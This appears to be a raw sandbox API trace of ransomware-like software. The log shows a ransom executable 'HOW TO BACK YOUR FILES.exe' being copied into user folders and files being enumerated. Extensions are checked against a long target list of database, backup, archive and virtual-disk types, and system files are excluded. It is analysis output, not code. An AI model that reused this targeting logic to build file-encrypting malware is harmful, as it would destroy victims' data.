	[0086.838] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di"
	[0086.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0086.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di") returned 55
	[0086.838] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di"
	[0086.838] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.839] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.839] GetLastError () returned 0x0
	[0086.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.839] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.840] CloseHandle (hObject=0x10c) returned 1
	[0086.840] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.840] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79bee600, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x301ad4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.840] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.840] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.840] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.840] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79bee600, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x301ad4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.840] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.840] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.840] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.840] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.840] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301ad4f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.840] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.840] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1108d0, ftCreationTime.dwHighDateTime=0x1d4c617, ftLastAccessTime.dwLowDateTime=0xdf2005d0, ftLastAccessTime.dwHighDateTime=0x1d4c9ad, ftLastWriteTime.dwLowDateTime=0xdf2005d0, ftLastWriteTime.dwHighDateTime=0x1d4c9ad, nFileSizeHigh=0x0, nFileSizeLow=0x122bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIDNw4frb_ flBaePwz.mkv", cAlternateFileName="OIDNW4~1.MKV")) returned 1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".") returned 1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="..") returned 1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="windows") returned -1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="bootmgr") returned 1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="temp") returned -1
	[0086.840] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="pagefile.sys") returned -1
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="boot") returned 1
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="ids.txt") returned 1
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="ntuser.dat") returned 1
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="perflogs") returned -1
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2="MSBuild") returned 1
	[0086.841] lstrlenW (lpString="OIDNw4frb_ flBaePwz.mkv") returned 23
	[0086.841] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\*") returned 57
	[0086.841] lstrcpyW (in: lpString1=0x119e678, lpString2="OIDNw4frb_ flBaePwz.mkv" | out: lpString1="OIDNw4frb_ flBaePwz.mkv") returned="OIDNw4frb_ flBaePwz.mkv"
	[0086.841] lstrlenW (lpString="OIDNw4frb_ flBaePwz.mkv") returned 23
	[0086.841] lstrlenW (lpString="Apollon865") returned 10
	[0086.841] lstrcmpiW (lpString1="BaePwz.mkv", lpString2="Apollon865") returned 1
	[0086.841] lstrlenW (lpString=".dll") returned 4
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".dll") returned 1
	[0086.841] lstrlenW (lpString=".lnk") returned 4
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".lnk") returned 1
	[0086.841] lstrlenW (lpString=".ini") returned 4
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".ini") returned 1
	[0086.841] lstrlenW (lpString=".sys") returned 4
	[0086.841] lstrcmpiW (lpString1="OIDNw4frb_ flBaePwz.mkv", lpString2=".sys") returned 1
	[0086.841] lstrlenW (lpString="OIDNw4frb_ flBaePwz.mkv") returned 23
	[0086.841] lstrlenW (lpString="bak") returned 3
	[0086.841] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.841] lstrlenW (lpString="ba_") returned 3
	[0086.841] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.841] lstrlenW (lpString="dbb") returned 3
	[0086.841] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.841] lstrlenW (lpString="vmdk") returned 4
	[0086.841] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.841] lstrlenW (lpString="rar") returned 3
	[0086.841] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.841] lstrlenW (lpString="zip") returned 3
	[0086.841] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.841] lstrlenW (lpString="tgz") returned 3
	[0086.841] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.841] lstrlenW (lpString="vbox") returned 4
	[0086.842] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.842] lstrlenW (lpString="vdi") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.842] lstrlenW (lpString="vhd") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.842] lstrlenW (lpString="vhdx") returned 4
	[0086.842] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.842] lstrlenW (lpString="avhd") returned 4
	[0086.842] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.842] lstrlenW (lpString="db") returned 2
	[0086.842] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.842] lstrlenW (lpString="db2") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.842] lstrlenW (lpString="db3") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.842] lstrlenW (lpString="dbf") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.842] lstrlenW (lpString="mdf") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.842] lstrlenW (lpString="mdb") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.842] lstrlenW (lpString="sql") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.842] lstrlenW (lpString="sqlite") returned 6
	[0086.842] lstrcmpiW (lpString1="wz.mkv", lpString2="sqlite") returned 1
	[0086.842] lstrlenW (lpString="sqlite3") returned 7
	[0086.842] lstrcmpiW (lpString1="Pwz.mkv", lpString2="sqlite3") returned -1
	[0086.842] lstrlenW (lpString="sqlitedb") returned 8
	[0086.842] lstrcmpiW (lpString1="ePwz.mkv", lpString2="sqlitedb") returned -1
	[0086.842] lstrlenW (lpString="xml") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.842] lstrlenW (lpString="$er") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.842] lstrlenW (lpString="4dd") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.842] lstrlenW (lpString="4dl") returned 3
	[0086.842] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.842] lstrlenW (lpString="^^^") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.843] lstrlenW (lpString="abs") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.843] lstrlenW (lpString="abx") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.843] lstrlenW (lpString="accdb") returned 5
	[0086.843] lstrcmpiW (lpString1="z.mkv", lpString2="accdb") returned 1
	[0086.843] lstrlenW (lpString="accdc") returned 5
	[0086.843] lstrcmpiW (lpString1="z.mkv", lpString2="accdc") returned 1
	[0086.843] lstrlenW (lpString="accde") returned 5
	[0086.843] lstrcmpiW (lpString1="z.mkv", lpString2="accde") returned 1
	[0086.843] lstrlenW (lpString="accdr") returned 5
	[0086.843] lstrcmpiW (lpString1="z.mkv", lpString2="accdr") returned 1
	[0086.843] lstrlenW (lpString="accdt") returned 5
	[0086.843] lstrcmpiW (lpString1="z.mkv", lpString2="accdt") returned 1
	[0086.843] lstrlenW (lpString="accdw") returned 5
	[0086.843] lstrcmpiW (lpString1="z.mkv", lpString2="accdw") returned 1
	[0086.843] lstrlenW (lpString="accft") returned 5
	[0086.843] lstrcmpiW (lpString1="z.mkv", lpString2="accft") returned 1
	[0086.843] lstrlenW (lpString="adb") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.843] lstrlenW (lpString="adb") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.843] lstrlenW (lpString="ade") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.843] lstrlenW (lpString="adf") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.843] lstrlenW (lpString="adn") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.843] lstrlenW (lpString="adp") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.843] lstrlenW (lpString="alf") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.843] lstrlenW (lpString="ask") returned 3
	[0086.843] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.843] lstrlenW (lpString="btr") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.844] lstrlenW (lpString="cat") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.844] lstrlenW (lpString="cdb") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.844] lstrlenW (lpString="ckp") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.844] lstrlenW (lpString="cma") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.844] lstrlenW (lpString="cpd") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.844] lstrlenW (lpString="dacpac") returned 6
	[0086.844] lstrcmpiW (lpString1="wz.mkv", lpString2="dacpac") returned 1
	[0086.844] lstrlenW (lpString="dad") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.844] lstrlenW (lpString="dadiagrams") returned 10
	[0086.844] lstrcmpiW (lpString1="BaePwz.mkv", lpString2="dadiagrams") returned -1
	[0086.844] lstrlenW (lpString="daschema") returned 8
	[0086.844] lstrcmpiW (lpString1="ePwz.mkv", lpString2="daschema") returned 1
	[0086.844] lstrlenW (lpString="db-journal") returned 10
	[0086.844] lstrcmpiW (lpString1="BaePwz.mkv", lpString2="db-journal") returned -1
	[0086.844] lstrlenW (lpString="db-shm") returned 6
	[0086.844] lstrcmpiW (lpString1="wz.mkv", lpString2="db-shm") returned 1
	[0086.844] lstrlenW (lpString="db-wal") returned 6
	[0086.844] lstrcmpiW (lpString1="wz.mkv", lpString2="db-wal") returned 1
	[0086.844] lstrlenW (lpString="dbc") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.844] lstrlenW (lpString="dbs") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.844] lstrlenW (lpString="dbt") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.844] lstrlenW (lpString="dbv") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.844] lstrlenW (lpString="dbx") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.844] lstrlenW (lpString="dcb") returned 3
	[0086.844] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.845] lstrlenW (lpString="dct") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.845] lstrlenW (lpString="dcx") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.845] lstrlenW (lpString="ddl") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.845] lstrlenW (lpString="dlis") returned 4
	[0086.845] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.845] lstrlenW (lpString="dp1") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.845] lstrlenW (lpString="dqy") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.845] lstrlenW (lpString="dsk") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.845] lstrlenW (lpString="dsn") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.845] lstrlenW (lpString="dtsx") returned 4
	[0086.845] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.845] lstrlenW (lpString="dxl") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.845] lstrlenW (lpString="eco") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.845] lstrlenW (lpString="ecx") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.845] lstrlenW (lpString="edb") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.845] lstrlenW (lpString="epim") returned 4
	[0086.845] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.845] lstrlenW (lpString="fcd") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.845] lstrlenW (lpString="fdb") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.845] lstrlenW (lpString="fic") returned 3
	[0086.845] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.845] lstrlenW (lpString="flexolibrary") returned 12
	[0086.845] lstrcmpiW (lpString1="flBaePwz.mkv", lpString2="flexolibrary") returned -1
	[0086.845] lstrlenW (lpString="fm5") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.846] lstrlenW (lpString="fmp") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.846] lstrlenW (lpString="fmp12") returned 5
	[0086.846] lstrcmpiW (lpString1="z.mkv", lpString2="fmp12") returned 1
	[0086.846] lstrlenW (lpString="fmpsl") returned 5
	[0086.846] lstrcmpiW (lpString1="z.mkv", lpString2="fmpsl") returned 1
	[0086.846] lstrlenW (lpString="fol") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.846] lstrlenW (lpString="fp3") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.846] lstrlenW (lpString="fp4") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.846] lstrlenW (lpString="fp5") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.846] lstrlenW (lpString="fp7") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.846] lstrlenW (lpString="fpt") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.846] lstrlenW (lpString="frm") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.846] lstrlenW (lpString="gdb") returned 3
	[0086.846] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.846] lstrlenW (lpString="gdb") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.847] lstrlenW (lpString="grdb") returned 4
	[0086.847] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.847] lstrlenW (lpString="gwi") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.847] lstrlenW (lpString="hdb") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.847] lstrlenW (lpString="his") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.847] lstrlenW (lpString="ib") returned 2
	[0086.847] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.847] lstrlenW (lpString="idb") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.847] lstrlenW (lpString="ihx") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.847] lstrlenW (lpString="itdb") returned 4
	[0086.847] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.847] lstrlenW (lpString="itw") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.847] lstrlenW (lpString="jet") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.847] lstrlenW (lpString="jtx") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.847] lstrlenW (lpString="kdb") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.847] lstrlenW (lpString="kexi") returned 4
	[0086.847] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.847] lstrlenW (lpString="kexic") returned 5
	[0086.847] lstrcmpiW (lpString1="z.mkv", lpString2="kexic") returned 1
	[0086.847] lstrlenW (lpString="kexis") returned 5
	[0086.847] lstrcmpiW (lpString1="z.mkv", lpString2="kexis") returned 1
	[0086.847] lstrlenW (lpString="lgc") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.847] lstrlenW (lpString="lwx") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.847] lstrlenW (lpString="maf") returned 3
	[0086.847] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.848] lstrlenW (lpString="maq") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.848] lstrlenW (lpString="mar") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.848] lstrlenW (lpString="marshal") returned 7
	[0086.848] lstrcmpiW (lpString1="Pwz.mkv", lpString2="marshal") returned 1
	[0086.848] lstrlenW (lpString="mas") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.848] lstrlenW (lpString="mav") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.848] lstrlenW (lpString="maw") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.848] lstrlenW (lpString="mdbhtml") returned 7
	[0086.848] lstrcmpiW (lpString1="Pwz.mkv", lpString2="mdbhtml") returned 1
	[0086.848] lstrlenW (lpString="mdn") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.848] lstrlenW (lpString="mdt") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.848] lstrlenW (lpString="mfd") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.848] lstrlenW (lpString="mpd") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.848] lstrlenW (lpString="mrg") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.848] lstrlenW (lpString="mud") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.848] lstrlenW (lpString="mwb") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.848] lstrlenW (lpString="myd") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.848] lstrlenW (lpString="ndf") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.848] lstrlenW (lpString="nnt") returned 3
	[0086.848] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.848] lstrlenW (lpString="nrmlib") returned 6
	[0086.848] lstrcmpiW (lpString1="wz.mkv", lpString2="nrmlib") returned 1
	[0086.848] lstrlenW (lpString="ns2") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.849] lstrlenW (lpString="ns3") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.849] lstrlenW (lpString="ns4") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.849] lstrlenW (lpString="nsf") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.849] lstrlenW (lpString="nv") returned 2
	[0086.849] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.849] lstrlenW (lpString="nv2") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.849] lstrlenW (lpString="nwdb") returned 4
	[0086.849] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.849] lstrlenW (lpString="nyf") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.849] lstrlenW (lpString="odb") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.849] lstrlenW (lpString="odb") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.849] lstrlenW (lpString="oqy") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.849] lstrlenW (lpString="ora") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.849] lstrlenW (lpString="orx") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.849] lstrlenW (lpString="owc") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.849] lstrlenW (lpString="p96") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.849] lstrlenW (lpString="p97") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.849] lstrlenW (lpString="pan") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.849] lstrlenW (lpString="pdb") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.849] lstrlenW (lpString="pdm") returned 3
	[0086.849] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.850] lstrlenW (lpString="pnz") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.850] lstrlenW (lpString="qry") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.850] lstrlenW (lpString="qvd") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.850] lstrlenW (lpString="rbf") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.850] lstrlenW (lpString="rctd") returned 4
	[0086.850] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.850] lstrlenW (lpString="rod") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
